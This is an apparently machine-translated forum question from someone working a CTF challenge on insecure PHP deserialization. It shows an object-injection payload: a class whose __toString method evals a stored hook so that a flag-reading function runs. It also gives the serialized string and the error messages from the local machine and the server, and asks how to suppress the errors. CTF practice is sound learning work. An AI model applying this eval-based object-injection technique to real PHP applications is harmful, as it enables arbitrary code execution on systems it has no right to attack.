Я делаю вызов CTF о небезопасной десериализации в PHP. Цель состоит в том, чтобы напечатать флаг путем внедрения кода в десериализацию для выполнения функции print_flag()
. Я подозреваю, что веб-сервер печатает только последнюю строку, отображаемую сценарием, которая переопределяет вывод флага, даже при вызове exit()
.
Предоставлена часть php-кода, работающая на веб-сервере. Я реализовал это в своем собственном php-скрипте, чтобы узнать, что работает, а что нет. Мне удалось сериализовать объект, который выполняет код при десериализации. При вызове exit(print_flag());
флаг печатается без дальнейших ошибок ... По крайней мере, в моем сценарии. Когда я отправляю сериализованный объект на веб-сервер, он все равно печатает дальнейшие ошибки.
Кроме того, я попытался вернуть строку из моего введенного кода. Это тоже не работает.
function print_flag() {
print file_get_contents('/var/flag/flag.txt');
}
class Example2
{
private $hook;
function __construct() {
$this->hook = "exit(print_flag());";
}
function __toString()
{
if (isset($this->hook)) eval($this->hook);
}
}
$flag = new Example2();
$serialized = serialize($flag);
print "$serialized\r\n";
$deserialized = unserialize($serialized);
Код похож на тот, который показан в задании, но изменен, поэтому он работает для меня.
Я ожидаю, что код вернет только флаг. При выполнении сценария на моей собственной машине вывод:
O: 8: "Example2": 1: {s: 14: "крюк Example2"; s: 19: "exit (print_flag ());";}
thisistheflag
Когда я звоню без exit()
:
PHP Исправимая фатальная ошибка: Метод Example2 :: __ toString () должен
вернуть строковое значение в ../phpObjInj.php в строке 39 "
Веб-сервер возвращает:
Исправляемая фатальная ошибка: метод Example2 :: __ toString () должен возвращать
строковое значение в /var/www/index.php в строке 79
Как мне остановить печать ошибки?